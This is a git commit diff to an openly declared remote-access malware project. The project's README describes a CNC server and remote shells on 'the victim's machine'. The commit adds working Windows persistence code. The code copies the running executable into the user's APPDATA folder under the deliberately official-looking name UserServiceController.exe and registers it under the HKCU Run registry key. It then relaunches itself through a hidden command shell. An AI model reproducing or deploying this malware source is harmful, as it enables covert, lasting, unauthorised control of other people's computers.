Windows: Persistence via windows registry

This commit is contained in:
CPunch 2022-04-22 17:20:31 -05:00
parent e80f007df9
commit 64f7e40fa0
4 changed files with 108 additions and 18 deletions

View File

@ -12,7 +12,6 @@ HEAD: https://github.com/CPunch/Laika/tree/main
## Tasks and TODOs ## Tasks and TODOs
Looking for some simple tasks that need to get done for that sweet 'contributor' cred? Check here! Looking for some simple tasks that need to get done for that sweet 'contributor' cred? Check here!
- Implement `lib/win/winpersist.c`
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support - Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
- Fix address sanitizer for CMake DEBUG builds - Fix address sanitizer for CMake DEBUG builds
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features. - Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features.

View File

@ -14,9 +14,9 @@ Some notable features thus far:
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`) - [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
- [X] Server and Shell configuration through `.ini` files. - [X] Server and Shell configuration through `.ini` files.
- [X] Ability to open shells remotely on the victim's machine. - [X] Ability to open shells remotely on the victim's machine.
- [ ] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`) - [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
- [X] Persistence via Cron on Linux-based systems. - [X] Persistence via Cron on Linux-based systems.
- [ ] Persistence via Windows Registry. - [X] Persistence via Windows Registry.
- [ ] Ability to relay socket connections to/from the victim's machine. - [ ] Ability to relay socket connections to/from the victim's machine.
- [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.) - [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
- [ ] Simple configuration using CMake: - [ ] Simple configuration using CMake:

View File

@ -121,8 +121,8 @@ void laikaB_tryPersist() {
getCurrentExe(exePath, PATH_MAX); getCurrentExe(exePath, PATH_MAX);
getInstallPath(installPath, PATH_MAX); getInstallPath(installPath, PATH_MAX);
/* move exe to install path */ /* move exe to install path (if it isn't there already) */
if (rename(exePath, installPath)) if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath); LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);

View File

@ -1,6 +1,10 @@
/* platform specific code for achieving persistence on windows */ /* platform specific code for achieving persistence on windows */
#include <windows.h> #include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
#include "persist.h" #include "persist.h"
#include "lconfig.h" #include "lconfig.h"
@ -11,8 +15,12 @@
* so we use the GIT_VERSION as our mutex :D */ * so we use the GIT_VERSION as our mutex :D */
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0" #define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion" /* looks official enough */
#define LAIKA_REG_VAL "Run" #define LAIKA_INSTALL_DIR "Microsoft"
#define LAIKA_INSTALL_FILE "UserServiceController.exe"
#define LAIKA_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
#define LAIKA_REG_VAL "UserServiceController"
HANDLE laikaB_mutex; HANDLE laikaB_mutex;
@ -40,41 +48,124 @@ void laikaB_unmarkRunning() {
HKEY openReg(HKEY key, LPCTSTR subKey) { HKEY openReg(HKEY key, LPCTSTR subKey) {
HKEY hKey; HKEY hKey;
LONG code;
if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS) if (RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to open registry key!\n"); LAIKA_ERROR("Failed to open registry key!\n");
return hKey; return hKey;
} }
/* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */ /* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */
LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) {
LPCTSTR str; LPTSTR str = NULL;
DWORD ret; DWORD ret;
/* get the size */ /* get the size */
*sz = 0; *sz = 0;
RegQueryValueEx(key, val, NULL, NULL, NULL, sz); RegQueryValueEx(key, val, NULL, NULL, NULL, sz);
str = (LPCTSTR)laikaM_malloc(*sz);
if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) if (*sz != 0) {
LAIKA_ERROR("Failed to read registry!\n"); str = (LPCTSTR)laikaM_malloc(*sz);
if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to read registry!\n");
}
return str; return str;
} }
void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) { void writeReg(HKEY key, LPCTSTR val, LPTSTR data, DWORD sz) {
HKEY hKey;
LONG code; LONG code;
if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) if ((code = RegSetValueEx(key, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n"); LAIKA_ERROR("Failed to write registry!\n");
} }
void getExecutablePath(LPTSTR path) {
if (GetModuleFileName(NULL, path, MAX_PATH) == 0)
LAIKA_ERROR("Failed to get executable path!\n");
}
void getInstallPath(LPTSTR path) {
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, path) != S_OK)
LAIKA_ERROR("Failed to get APPDATA!\n");
PathAppend(path, TEXT(LAIKA_INSTALL_DIR));
if (!CreateDirectory(path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
LAIKA_ERROR("Failed to create directory '%s'!\n", path);
PathAppend(path, TEXT(LAIKA_INSTALL_FILE));
}
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
spawn a shell to move the exe *after* we exit. */
void installSelf() {
TCHAR szFile[MAX_PATH], szInstall[MAX_PATH], szCmd[(MAX_PATH*4)];
getExecutablePath(szFile);
getInstallPath(szInstall);
if (lstrcmp(szFile, szInstall) == 0) {
LAIKA_DEBUG("Laika already installed!\n");
return;
}
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move "));
lstrcat(szCmd, szFile);
lstrcat(szCmd, TEXT(" "));
lstrcat(szCmd, szInstall);
lstrcat(szCmd, TEXT(" > NUL & "));
lstrcat(szCmd, szInstall);
if (GetEnvironmentVariable("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecute(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
LAIKA_ERROR("Failed to start shell for moving exe!\n");
laikaB_unmarkRunning();
exit(0);
}
void installRegistry() {
TCHAR newRegValue[MAX_PATH];
LPTSTR regVal;
DWORD regSz;
DWORD newRegSz;
HKEY reg;
/* create REG_MULTI_SZ */
getInstallPath(newRegValue);
newRegSz = lstrlen(newRegValue) + 1;
newRegValue[newRegSz] = '\0';
reg = openReg(HKEY_CURRENT_USER, TEXT(LAIKA_REG_KEY));
if ((regVal = readReg(reg, TEXT(LAIKA_REG_VAL), &regSz)) != NULL) {
LAIKA_DEBUG("Current Registry value: '%s'\n", regVal);
/* compare regValue with the install path we'll need */
if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) {
LAIKA_DEBUG("No match! Updating registry...\n");
/* it's not our install path, so write it */
writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz);
}
laikaM_free(regVal);
} else {
LAIKA_DEBUG("Empty registry! Updating registry...\n");
/* no registry value set! install it and set! */
writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz);
}
RegCloseKey(reg);
}
/* try to gain persistance on machine */ /* try to gain persistance on machine */
void laikaB_tryPersist() { void laikaB_tryPersist() {
/* stubbed */ installRegistry();
installSelf();
} }
/* try to gain root */ /* try to gain root */